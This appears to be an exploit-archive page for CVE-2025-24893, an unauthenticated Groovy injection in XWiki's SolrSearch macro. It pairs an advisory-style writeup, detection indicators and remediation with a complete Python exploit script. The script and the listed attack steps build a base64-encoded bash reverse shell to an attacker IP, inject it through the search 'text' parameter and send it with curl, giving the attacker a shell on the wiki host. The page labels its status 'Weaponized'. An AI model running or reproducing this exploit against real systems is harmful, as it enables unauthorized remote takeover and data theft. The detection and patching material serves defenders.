PoC Archive PoC Archive
Critical CVE-2025-24893 unpatched

XWiki SolrSearch Macro Unauthenticated Groovy RCE (CVE-2025-24893)

by dollarboysushil · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-24893
Category
web
Affected product
XWiki (SolrSearch macro, Main.SolrSearch)
Affected versions
XWiki < 15.10.11, 16.4.1, 16.5.0RC1 (tested against 15.10.8)
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researcherdollarboysushil
CVE / AdvisoryCVE-2025-24893
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagsxwiki, groovy, rce, unauthenticated, cwe-94, code-injection, reverse-shell, python, wiki
RelatedN/A

Affected Target

FieldValue
Software / SystemXWiki (SolrSearch macro, Main.SolrSearch)
Versions AffectedXWiki < 15.10.11, 16.4.1, 16.5.0RC1 (tested against 15.10.8)
Language / PlatformGroovy payload delivered via HTTP GET; PoC exploit client written in Python; target runs on JVM (Tomcat/Jetty)
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2025-24893 is a critical unauthenticated remote code execution vulnerability in XWiki, caused by the built-in SolrSearch macro (Main.SolrSearch) passing user-supplied search input into a Groovy evaluation context without sanitization. By crafting a GET request whose text parameter closes the wiki-syntax context and opens an {{async}}{{groovy}}...{{/groovy}}{{/async}} block, an anonymous attacker can get arbitrary Groovy code executed server-side. The PoC in this repository is a Python exploit script that builds a base64-encoded reverse-shell payload, wraps it in the Groovy injection syntax, URL-encodes it, and fires it at the vulnerable endpoint via curl, giving the attacker an interactive shell on the XWiki host.


Vulnerability Details

Root Cause

The SolrSearch macro evaluates the text query parameter as wiki syntax without properly escaping macro-closing sequences. Because XWiki’s macro engine will happily parse a new {{groovy}} block embedded inside what should be plain search text, an attacker can break out of the intended context and inject an async/groovy macro pair that is evaluated server-side with no authentication check:

/xwiki/bin/get/Main/SolrSearch?media=rss&text=

Example payload injected into the text parameter:

1
}}}{{async async=false}}{{groovy}}'id'.execute(){{/groovy}}{{/async}}

The leading }}} closes the macro/context the input was expected to stay inside of, and the subsequent {{async}}{{groovy}}...{{/groovy}}{{/async}} block is then parsed and executed by XWiki’s Groovy interpreter, running with the privileges of the XWiki application server process.

Attack Vector

  1. Identify a reachable XWiki instance running an affected version (< 15.10.11, 16.4.1, or 16.5.0RC1).
  2. Start a listener on the attacker machine to catch a reverse shell (e.g. nc -lvnp 1337).
  3. Build a Groovy payload that base64-encodes and executes a reverse-shell one-liner (bash -c 'sh -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'), wrapped as "...".execute() inside {{groovy}}...{{/groovy}} and {{async async=false}}...{{/async}} macro tags.
  4. URL-encode the payload and append it as the text parameter to GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<payload> — no authentication or session cookie is required.
  5. XWiki’s macro/search engine evaluates the injected Groovy, executing the OS command and opening a reverse shell back to the attacker’s listener.

Impact

Full unauthenticated remote code execution as the user running the XWiki application server, typically leading to complete compromise of the host (data theft, lateral movement, persistence) since XWiki instances often run with broad filesystem and network access for wiki/attachment storage and integrations.


Environment / Lab Setup

Target:    XWiki 15.10.8 (or any version < 15.10.11 / 16.4.1 / 16.5.0RC1), default install,
           SolrSearch macro reachable at /xwiki/bin/get/Main/SolrSearch
Attacker:  Python 3 with `colorama` installed (pip install colorama)
           `curl` available on PATH
           netcat (or any listener) to catch the reverse shell: nc -lvnp <port>

Proof of Concept

PoC Script

See CVE-2025-24893-dbs.py in this folder.

1
2
3
nc -lvnp 1337

python3 CVE-2025-24893-dbs.py

Detection & Indicators of Compromise

- HTTP GET requests to /xwiki/bin/get/Main/SolrSearch with a `text` parameter containing
  wiki macro-closing sequences (`}}}`) followed by `{{async`, `{{groovy}}`, or `.execute()`
- Access log entries with unusually long, URL-encoded `text` query parameters on the
  SolrSearch endpoint from unauthenticated/anonymous sessions
- Unexpected child processes spawned by the XWiki/Tomcat/Jetty JVM process (bash, sh, nc,
  curl, wget, base64) shortly after a SolrSearch request
- Outbound TCP connections from the XWiki host to unfamiliar external IPs on non-standard
  ports (reverse shell callbacks)

Signs of compromise:

  • Unexplained bash/sh child processes under the XWiki application server (Tomcat/Jetty) user
  • SolrSearch requests in access logs with Groovy/async macro syntax in the text parameter
  • New outbound connections from the XWiki host immediately following a SolrSearch request
  • Unauthorized modifications to wiki pages, attachments, or server configuration files

Remediation

ActionDetail
Primary fixUpgrade XWiki to 15.10.11, 16.4.1, 16.5.0RC1, or later, where the SolrSearch macro’s handling of the text parameter was fixed to prevent Groovy macro injection
Interim mitigationRestrict/disable anonymous access to /xwiki/bin/get/Main/SolrSearch, place XWiki behind a WAF/reverse proxy blocking {{groovy}}/{{async}} macro syntax in query parameters, and disable the Groovy scripting engine or the SolrSearch macro if not required

References


Notes

Mirrored from https://github.com/Fomovet/cve-2025-24893 on 2026-07-06. The exploit script is credited by the repo author to @dollarboysushil; the repository itself is published under the account Fomovet. Screenshots from the original README demonstrating the full attack chain (vulnerable interface, listener, exploit run, shell acquired) are preserved in the images/ subdirectory.

CVE-2025-24893-dbs.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import base64
import urllib.parse
import subprocess
import time
from colorama import init, Fore, Style

# Initialize colorama
init(autoreset=True)


def banner():
    print(Fore.CYAN + r"""    
 
   _______      ________    ___   ___ ___  _____     ___  _  _   ___   ___ ____  
  / ____\ \    / /  ____|  |__ \ / _ \__ \| ____|   |__ \| || | / _ \ / _ \___ \ 
 | |     \ \  / /| |__ ______ ) | | | ) | | |__ ______ ) | || || (_) | (_) |__) |
 | |      \ \/ / |  __|______/ /| | | |/ /|___ \______/ /|__   _> _ < \__, |__ < 
 | |____   \  /  | |____    / /_| |_| / /_ ___) |    / /_   | || (_) |  / /___) |
  \_____|   \/   |______|  |____|\___/____|____/    |____|  |_| \___/  /_/|____/ 
                                                                                 
                                                                                 

""" + Fore.YELLOW + "           CVE-2025-24893 - XWiki Groovy RCE Exploit")
    print(Fore.YELLOW + "                   exploit by @dollarboysushil\n")


def send_curl_request(url):
    print(Fore.CYAN + "\n[+] Sending exploit via curl...\n")
    try:
        result = subprocess.run(
            ["curl", "-i", url],
            capture_output=True,
            text=True,
            timeout=10
        )

        if "200 OK" in result.stdout:
            print(Fore.GREEN +
                  "[+] Exploit delivered successfully! Check your listener.")
        else:
            print(
                Fore.RED + "[-] Exploit may not have succeeded (non-200 response).")

    except subprocess.TimeoutExpired:
        print(Fore.RED + "[-] Curl timed out!")
    except Exception as e:
        print(Fore.RED + "[-] Curl request failed:", e)


# Show banner
banner()

# Inputs
url = input(
    Fore.CYAN + "[?] Enter target URL (including http:// or https:// e.g http://10.10.10.18.10:8080): ")
ip = input(Fore.CYAN + "[?] Enter your IP address (for reverse shell): ")
port = input(Fore.CYAN + "[?] Enter the port number: ")

print(Fore.YELLOW + "\n[+] Crafting malicious reverse shell payload...")
time.sleep(1)

# Reverse shell payload
revshell = f"bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'"
base64_revshell = base64.b64encode(revshell.encode()).decode()

# Groovy payload
payload = (
    f"}}}}}}{{{{async async=false}}}}{{{{groovy}}}}"
    f"\"bash -c {{echo,{base64_revshell}}}|{{base64,-d}}|{{bash,-i}}\".execute()"
    f"{{{{/groovy}}}}{{{{/async}}}}"
)

# Encode payload (preserve some special chars)
encoded_payload = urllib.parse.quote(payload, safe="=,-,")

# Final URL
exploit = f"{url}/xwiki/bin/get/Main/SolrSearch?media=rss&text={encoded_payload}"

# Show example
print(Fore.LIGHTBLACK_EX +
      "\n[+] Sample Format:\n    http://target/xwiki/bin/get/Main/SolrSearch?media=rss&text=<payload>")

# Display exploit
print(Fore.MAGENTA + "\n[+] Final Exploit URL:\n" + Fore.WHITE + exploit)

# Send the curl request
time.sleep(1)
send_curl_request(exploit)

print(Fore.YELLOW +
      "\n[+] Done. Awaiting reverse shell connection on " + ip + ":" + port + " ...\n")